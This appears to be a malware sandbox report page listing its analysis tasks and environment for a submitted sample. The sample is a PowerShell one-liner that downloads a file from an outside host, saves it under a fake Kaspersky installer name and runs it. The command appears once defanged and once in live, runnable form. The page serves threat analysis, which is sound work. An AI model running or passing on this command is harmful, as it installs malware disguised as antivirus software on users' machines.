hxxp://powershell -c "Invoke-WebRequest -Uri 'hxxps://tuasesoriadigital[.]es/default[.]dat' -Outfile 'kaspersky_premium_x3[.]exe'; Start-Process 'kaspersky_premium_x3[.]exe'"

Static task

static1

URLScan task

urlscan1

Behavioral task

behavioral1

Sample

http://powershell -c "Invoke-WebRequest -Uri 'https://tuasesoriadigital.es/default.dat' -Outfile 'kaspersky_premium_x3.exe'; Start-Process 'kaspersky_premium_x3.exe'"

Resource

win11-20260513-en

windows11-21h2-x64

12 signatures

900 seconds

discovery

Sharing

General

Malware Config

Signatures

File Explorer